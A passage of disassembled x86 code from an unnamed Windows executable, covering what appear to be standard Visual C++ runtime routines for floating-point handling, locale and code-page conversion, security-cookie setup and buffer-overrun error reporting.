loc_41DC91:				; CODE XREF: sub_41DC43+49j
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_41DC8E
		inc	byte ptr [eax]


loc_41DC99:				; CODE XREF: sub_41DC43+42j
					; sub_41DC43+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41DCA3
		inc	dword ptr [edx+4]
		jmp	short loc_41DCB5
; ---------------------------------------------------------------------------


loc_41DCA3:				; CODE XREF: sub_41DC43+59j
		push	edi
		call	sub_4179C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D220
		add	esp, 10h


loc_41DCB5:				; CODE XREF: sub_41DC43+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DC43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DCBA	proc near		; CODE XREF: sub_41DD74+1Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		push	ebx
		push	esi
		push	edi
		mov	edi, 7FFh
		mov	esi, 80000000h
		mov	[ebp+var_4], esi
		mov	ecx, eax
		shr	ecx, 4
		and	eax, 8000h
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		and	eax, 0FFFFFh
		test	ebx, ebx
		jz	short loc_41DD0A
		cmp	ebx, edi
		jz	short loc_41DD03
		lea	edi, [ecx+3C00h]
		jmp	short loc_41DD2B
; ---------------------------------------------------------------------------


loc_41DD03:				; CODE XREF: sub_41DCBA+3Fj
		mov	edi, 7FFFh
		jmp	short loc_41DD2B
; ---------------------------------------------------------------------------


loc_41DD0A:				; CODE XREF: sub_41DCBA+3Bj
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DD22
		cmp	edx, ebx
		jnz	short loc_41DD22
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41DD6F
; ---------------------------------------------------------------------------


loc_41DD22:				; CODE XREF: sub_41DCBA+54j
					; sub_41DCBA+58j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41DD2B:				; CODE XREF: sub_41DCBA+47j
					; sub_41DCBA+4Ej
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_41DD66


loc_41DD47:				; CODE XREF: sub_41DCBA+AAj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		shl	edx, 1
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_41DD47


loc_41DD66:				; CODE XREF: sub_41DCBA+8Bj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41DD6F:				; CODE XREF: sub_41DCBA+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DCBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD74	proc near		; CODE XREF: sub_419951+23p
					; sub_419A61+22p ...

var_2C		= word ptr -2Ch
var_2A		= byte ptr -2Ah
var_28		= byte ptr -28h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41DCBA
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41EDA1
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	[esi+8], eax
		movsx	eax, [ebp+var_2A]
		mov	[esi], eax
		movsx	eax, [ebp+var_2C]
		mov	[esi+4], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	sub_419C40
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 20h
		mov	[esi+0Ch], edi
		mov	eax, esi
		call	sub_41A1F6
		pop	edi
		pop	esi
		leave
		retn
sub_41DD74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DDE6	proc near		; CODE XREF: sub_416662+43Ep
					; sub_416662+459p ...
		push	2
		call	sub_4162A0
		pop	ecx
		retn
sub_41DDE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DDEF	proc near		; CODE XREF: sub_41DF0F+Cp
		xor	eax, eax
		test	bl, 1
		jz	short loc_41DDF9
		push	10h
		pop	eax


loc_41DDF9:				; CODE XREF: sub_41DDEF+5j
		test	bl, 4
		jz	short loc_41DE01
		or	eax, 8


loc_41DE01:				; CODE XREF: sub_41DDEF+Dj
		test	bl, 8
		jz	short loc_41DE09
		or	eax, 4


loc_41DE09:				; CODE XREF: sub_41DDEF+15j
		test	bl, 10h
		jz	short loc_41DE11
		or	eax, 2


loc_41DE11:				; CODE XREF: sub_41DDEF+1Dj
		test	bl, 20h
		jz	short loc_41DE19
		or	eax, 1


loc_41DE19:				; CODE XREF: sub_41DDEF+25j
		test	bl, 2
		jz	short loc_41DE23
		or	eax, 80000h


loc_41DE23:				; CODE XREF: sub_41DDEF+2Dj
		push	ebp
		movzx	edx, bx
		push	esi
		mov	ecx, edx
		mov	esi, 0C00h
		and	ecx, esi
		push	edi
		mov	edi, 300h
		mov	ebp, 200h
		jz	short loc_41DE5F
		cmp	ecx, 400h
		jz	short loc_41DE5A
		cmp	ecx, 800h
		jz	short loc_41DE56
		cmp	ecx, esi
		jnz	short loc_41DE5F
		or	eax, edi
		jmp	short loc_41DE5F
; ---------------------------------------------------------------------------


loc_41DE56:				; CODE XREF: sub_41DDEF+5Dj
		or	eax, ebp
		jmp	short loc_41DE5F
; ---------------------------------------------------------------------------


loc_41DE5A:				; CODE XREF: sub_41DDEF+55j
		or	eax, 100h


loc_41DE5F:				; CODE XREF: sub_41DDEF+4Dj
					; sub_41DDEF+61j ...
		and	edx, edi
		jz	short loc_41DE6E
		cmp	edx, ebp
		jnz	short loc_41DE73
		or	eax, 10000h
		jmp	short loc_41DE73
; ---------------------------------------------------------------------------


loc_41DE6E:				; CODE XREF: sub_41DDEF+72j
		or	eax, 20000h


loc_41DE73:				; CODE XREF: sub_41DDEF+76j
					; sub_41DDEF+7Dj
		test	bh, 10h
		pop	edi
		pop	esi
		pop	ebp
		jz	short locret_41DE80
		or	eax, 40000h

locret_41DE80:				; CODE XREF: sub_41DDEF+8Aj
		retn
sub_41DDEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE81	proc near		; CODE XREF: sub_41DF0F+22p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_41DE89
		inc	eax


loc_41DE89:				; CODE XREF: sub_41DE81+5j
		test	bl, 8
		jz	short loc_41DE91
		or	eax, 4


loc_41DE91:				; CODE XREF: sub_41DE81+Bj
		test	bl, 4
		jz	short loc_41DE99
		or	eax, 8


loc_41DE99:				; CODE XREF: sub_41DE81+13j
		test	bl, 2
		jz	short loc_41DEA1
		or	eax, 10h


loc_41DEA1:				; CODE XREF: sub_41DE81+1Bj
		test	bl, 1
		jz	short loc_41DEA9
		or	eax, 20h


loc_41DEA9:				; CODE XREF: sub_41DE81+23j
		test	ebx, 80000h
		jz	short loc_41DEB4
		or	eax, 2


loc_41DEB4:				; CODE XREF: sub_41DE81+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_41DEE8
		cmp	ecx, 100h
		jz	short loc_41DEE3
		cmp	ecx, esi
		jz	short loc_41DEDC
		cmp	ecx, edx
		jnz	short loc_41DEE8
		or	eax, 0C00h
		jmp	short loc_41DEE8
; ---------------------------------------------------------------------------


loc_41DEDC:				; CODE XREF: sub_41DE81+4Ej
		or	eax, 800h
		jmp	short loc_41DEE8
; ---------------------------------------------------------------------------


loc_41DEE3:				; CODE XREF: sub_41DE81+4Aj
		or	eax, 400h


loc_41DEE8:				; CODE XREF: sub_41DE81+42j
					; sub_41DE81+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41DEFE
		cmp	ecx, 10000h
		jnz	short loc_41DF00
		or	eax, esi
		jmp	short loc_41DF00
; ---------------------------------------------------------------------------


loc_41DEFE:				; CODE XREF: sub_41DE81+6Fj
		or	eax, edx


loc_41DF00:				; CODE XREF: sub_41DE81+77j
					; sub_41DE81+7Bj
		test	ebx, 40000h
		pop	esi
		jz	short locret_41DF0E
		or	eax, 1000h

locret_41DF0E:				; CODE XREF: sub_41DE81+86j
		retn
sub_41DE81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF0F	proc near		; CODE XREF: sub_41DF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		fstcw	word ptr [ebp+var_4]
		mov	ebx, [ebp+var_4]
		call	sub_41DDEF
		mov	ebx, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	ebx, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	ebx, eax
		call	sub_41DE81
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_41DF0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF41	proc near		; CODE XREF: sub_419BBA+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41DF0F
		pop	ecx
		pop	ecx
		retn
sub_41DF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF57	proc near		; CODE XREF: sub_419E09+27Dp
					; sub_41C5B0+15Ep ...

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		and	[ebp+var_6], 0
		push	6
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		call	ds:dword_42011C	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_41DF89
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DF93
; ---------------------------------------------------------------------------


loc_41DF89:				; CODE XREF: sub_41DF57+2Bj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4148EA
		pop	ecx


loc_41DF93:				; CODE XREF: sub_41DF57+30j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_41A1F6
		leave
		retn
sub_41DF57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFA0	proc near		; CODE XREF: sub_419E09+2A8p
					; sub_419E09+366p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	38h
		push	offset stru_429AE0
		call	__SEH_prolog
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	edi, edi
		mov	[ebp+var_20], edi
		mov	[ebp+var_24], edi
		mov	eax, [ebp+arg_C]
		mov	ebx, [eax]
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jz	loc_41E149
		lea	ecx, [ebp+var_40]
		push	ecx
		push	eax
		mov	esi, ds:dword_4201B0
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_41E007
		cmp	[ebp+var_40], 1
		jnz	short loc_41E007
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_41E007
		cmp	[ebp+var_40], 1
		jnz	short loc_41E007
		mov	[ebp+var_2C], 1


loc_41E007:				; CODE XREF: sub_41DFA0+45j
					; sub_41DFA0+4Bj ...
		cmp	[ebp+var_2C], edi
		jz	short loc_41E026
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41E015
		mov	esi, ebx
		jmp	short loc_41E021
; ---------------------------------------------------------------------------


loc_41E015:				; CODE XREF: sub_41DFA0+6Fj
		push	[ebp+arg_8]
		call	sub_4179C0
		pop	ecx
		mov	esi, eax
		inc	esi


loc_41E021:				; CODE XREF: sub_41DFA0+73j
		mov	[ebp+var_44], esi
		jmp	short loc_41E029
; ---------------------------------------------------------------------------


loc_41E026:				; CODE XREF: sub_41DFA0+6Aj
		mov	esi, [ebp+var_44]


loc_41E029:				; CODE XREF: sub_41DFA0+84j
		cmp	[ebp+var_2C], edi
		jnz	short loc_41E048
		push	edi
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	ds:dword_4200D4	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_44], esi
		cmp	esi, edi
		jz	short loc_41E0A0


loc_41E048:				; CODE XREF: sub_41DFA0+8Cj
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_48], ebx
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	ebx
		call	sub_41C550
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41E08C
; ---------------------------------------------------------------------------


loc_41E075:				; DATA XREF: .rdata:stru_429AE0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41E079:				; DATA XREF: .rdata:stru_429AE0o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_44]


loc_41E08C:				; CODE XREF: sub_41DFA0+D3j
		cmp	ebx, edi
		jnz	short loc_41E0AE
		push	esi
		push	2
		call	sub_41C280
		pop	ecx
		pop	ecx
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_41E0A7


loc_41E0A0:				; CODE XREF: sub_41DFA0+A6j
		xor	eax, eax
		jmp	loc_41E15B
; ---------------------------------------------------------------------------


loc_41E0A7:				; CODE XREF: sub_41DFA0+FEj
		mov	[ebp+var_24], 1


loc_41E0AE:				; CODE XREF: sub_41DFA0+EEj
		push	esi
		push	ebx
		push	[ebp+var_28]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	ds:dword_4200D4	; MultiByteToWideChar
		test	eax, eax
		jz	loc_41E14C
		cmp	[ebp+arg_10], edi
		jz	short loc_41E0EE
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_4200D8	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41E14C
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		jmp	short loc_41E14C
; ---------------------------------------------------------------------------


loc_41E0EE:				; CODE XREF: sub_41DFA0+12Cj
		cmp	[ebp+var_2C], edi
		jnz	short loc_41E109
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_4200D8	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41E14C


loc_41E109:				; CODE XREF: sub_41DFA0+151j
		push	esi
		push	1
		call	sub_41C280
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_41E14C
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_4200D8	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_41E13C
		push	[ebp+var_20]
		call	sub_414A14
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_41E14C
; ---------------------------------------------------------------------------


loc_41E13C:				; CODE XREF: sub_41DFA0+18Cj
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_41E14C
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_41E14C
; ---------------------------------------------------------------------------


loc_41E149:				; CODE XREF: sub_41DFA0+30j
		mov	ebx, [ebp+var_48]


loc_41E14C:				; CODE XREF: sub_41DFA0+123j
					; sub_41DFA0+144j ...
		cmp	[ebp+var_24], edi
		jz	short loc_41E158
		push	ebx
		call	sub_414A14
		pop	ecx


loc_41E158:				; CODE XREF: sub_41DFA0+1AFj
		mov	eax, [ebp+var_20]


loc_41E15B:				; CODE XREF: sub_41DFA0+102j
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_41A1F6
		call	__SEH_epilog
		retn
sub_41DFA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E16F	proc near		; DATA XREF: .data:0042B004o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_42015C	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	ds:dword_4200F8	; GetCurrentProcessId
		xor	esi, eax
		call	ds:dword_420174	; GetCurrentThreadId
		xor	esi, eax
		call	ds:dword_420004	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_42002C	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		mov	dword_42DEA8, esi
		jnz	short loc_41E1C2
		mov	dword_42DEA8, 0BB40E64Eh


loc_41E1C2:				; CODE XREF: sub_41E16F+47j
		pop	esi
		leave
		retn
sub_41E16F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1C5	proc near		; CODE XREF: sub_41A1F6-1Dp

var_140		= dword	ptr -140h
var_128		= byte ptr -128h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	118h
		push	offset stru_429C90
		call	__SEH_prolog
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		mov	eax, dword_47C504
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_41E209
		mov	[ebp+ms_exc.disabled], ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		pop	ecx
		pop	ecx


loc_41E1F7:				; CODE XREF: sub_41E1C5+42j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_41E307
; ---------------------------------------------------------------------------


loc_41E200:				; DATA XREF: .rdata:stru_429C90o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41E204:				; DATA XREF: .rdata:stru_429C90o
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	short loc_41E1F7
; ---------------------------------------------------------------------------


loc_41E209:				; CODE XREF: sub_41E1C5+23j
		mov	eax, [ebp+arg_0]
		dec	eax
		jz	short loc_41E222
		mov	edi, offset aUnknownSecurit ; "Unknown security	failure	detected!"
		mov	[ebp+var_20], offset aASecurityError ; "A security error of unknown cause has b"...
		mov	esi, 0D4h
		jmp	short loc_41E233
; ---------------------------------------------------------------------------


loc_41E222:				; CODE XREF: sub_41E1C5+48j
		mov	edi, offset aBufferOverrunD ; "Buffer overrun detected!"
		mov	[ebp+var_20], offset aABufferOverrun ; "A buffer overrun has been detected whic"...
		mov	esi, 0B9h


loc_41E233:				; CODE XREF: sub_41E1C5+5Bj
		mov	[ebp+var_24], cl
		push	104h
		lea	eax, [ebp+var_128]
		push	eax
		push	ecx
		call	ds:dword_420010	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41E260
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_419C40
		pop	ecx
		pop	ecx


loc_41E260:				; CODE XREF: sub_41E1C5+86j
		lea	ebx, [ebp+var_128]
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_4179C0
		pop	ecx
		add	eax, 0Bh
		cmp	eax, 3Ch
		jbe	short loc_41E2A4
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_4179C0
		mov	ebx, eax
		lea	eax, [ebp+var_128]
		sub	eax, 31h
		add	ebx, eax
		push	3
		push	offset a___	; "..."
		push	ebx
		call	sub_414670
		add	esp, 10h


loc_41E2A4:				; CODE XREF: sub_41E1C5+B4j
		push	ebx
		call	sub_4179C0
		pop	ecx
		lea	eax, [eax+esi+0Ch]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		push	edi
		push	esi
		call	sub_419C40
		mov	edi, offset asc_4298F0 ; "\n\n"
		push	edi
		push	esi
		call	sub_419C50
		push	offset dword_429AEC
		push	esi
		call	sub_419C50
		push	ebx
		push	esi
		call	sub_419C50
		push	edi
		push	esi
		call	sub_419C50
		push	[ebp+var_20]
		push	esi
		call	sub_419C50
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	esi
		call	sub_41E453
		add	esp, 3Ch


loc_41E307:				; CODE XREF: sub_41E1C5+36j
		push	3
		call	sub_4160A4
		int	3		; Trap to Debugger


loc_41E30F:				; DATA XREF: sub_41E355o
					; .data:0042DEACo
		push	esi
		mov	esi, [esp+148h+var_140]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41E332
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41E332
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41E332
		call	sub_41AA6F


loc_41E332:				; CODE XREF: sub_41E1C5+157j
					; sub_41E1C5+15Dj ...
		mov	eax, dword_47C508
		test	eax, eax
		jz	short loc_41E34F
		push	eax
		call	sub_41E3AD
		test	eax, eax
		pop	ecx
		jz	short loc_41E34F
		push	esi
		call	dword_47C508
		jmp	short loc_41E351
; ---------------------------------------------------------------------------


loc_41E34F:				; CODE XREF: sub_41E1C5+174j
					; sub_41E1C5+17Fj
		xor	eax, eax


loc_41E351:				; CODE XREF: sub_41E1C5+188j
		pop	esi
		retn	4
sub_41E1C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E355	proc near		; DATA XREF: .data:0042B01Co
		push	offset loc_41E30F
		call	ds:dword_420144	; SetUnhandledExceptionFilter
		mov	dword_47C508, eax
		xor	eax, eax
		retn
sub_41E355	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E368	proc near		; DATA XREF: .data:0042B034o
		push	dword_47C508
		call	ds:dword_420144	; SetUnhandledExceptionFilter
		retn
sub_41E368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E375	proc near		; CODE XREF: sub_41A548+53p
					; sub_41A548+8Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	ds:dword_420140	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41E38D
		xor	esi, esi


loc_41E38D:				; CODE XREF: sub_41E375+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E375	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E391	proc near		; CODE XREF: sub_41A548+65p
					; sub_41A548+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	ds:dword_420194	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41E3A9
		xor	esi, esi


loc_41E3A9:				; CODE XREF: sub_41E391+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E391	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3AD	proc near		; CODE XREF: sub_41A548+128p
					; sub_41E1C5+177p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		xor	esi, esi
		inc	esi
		call	ds:dword_42013C	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41E3C1
		xor	esi, esi


loc_41E3C1:				; CODE XREF: sub_41E3AD+10j
		mov	eax, esi
		pop	esi
		retn
sub_41E3AD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AA6F


loc_41E3C5:				; CODE XREF: sub_41AA6F:loc_41AA9Fj
		push	0Ah
		call	sub_41B5C9
		push	16h
		call	sub_41F063
		pop	ecx
		pop	ecx
		push	3
		call	sub_4160A4
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_41AA6F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3DD	proc near		; CODE XREF: sub_41B1CE+7p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset stru_429CA0
		call	__SEH_prolog
		cmp	dword_47C980, 3
		jnz	short loc_41E42C
		push	4
		call	sub_418285
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4182FE
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_41E41A
		mov	esi, [esi-4]
		sub	esi, 9
		mov	[ebp+var_20], esi
		jmp	short loc_41E41D
; ---------------------------------------------------------------------------


loc_41E41A:				; CODE XREF: sub_41E3DD+30j
		mov	esi, [ebp+var_20]


loc_41E41D:				; CODE XREF: sub_41E3DD+3Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41E44A
		cmp	[ebp+var_1C], 0
		jnz	short loc_41E43F


loc_41E42C:				; CODE XREF: sub_41E3DD+13j
		push	[ebp+arg_0]
		push	0
		push	dword_47C97C
		call	ds:dword_420138	; RtlSizeHeap
		mov	esi, eax


loc_41E43F:				; CODE XREF: sub_41E3DD+4Dj
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_41E3DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E447	proc near		; DATA XREF: .rdata:stru_429CA0o
		mov	esi, [ebp-20h]
sub_41E447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E44A	proc near		; CODE XREF: sub_41E3DD+44p
		push	4
		call	sub_4181F1
		pop	ecx
		retn
sub_41E44A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E453	proc near		; CODE XREF: sub_41B5C9+132p
					; sub_41E1C5+13Ap

var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	dword_47C50C, ebx
		push	esi
		push	edi
		jnz	short loc_41E4D3
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_420088	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41E50E
		mov	esi, ds:dword_420084
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_47C50C, eax
		jz	short loc_41E50E
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_47C510, eax
		call	esi	; GetProcAddress
		cmp	dword_47C1A4, 2
		mov	dword_47C514, eax
		jnz	short loc_41E4D3
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_47C51C, eax
		jz	short loc_41E4D3
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi	; GetProcAddress
		mov	dword_47C518, eax


loc_41E4D3:				; CODE XREF: sub_41E453+11j
					; sub_41E453+60j ...
		mov	eax, dword_47C518
		test	eax, eax
		jz	short loc_41E518
		call	eax	; GetProcessWindowStation
		test	eax, eax
		jz	short loc_41E4FF
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		push	eax
		call	dword_47C51C	; GetUserObjectInformationA
		test	eax, eax
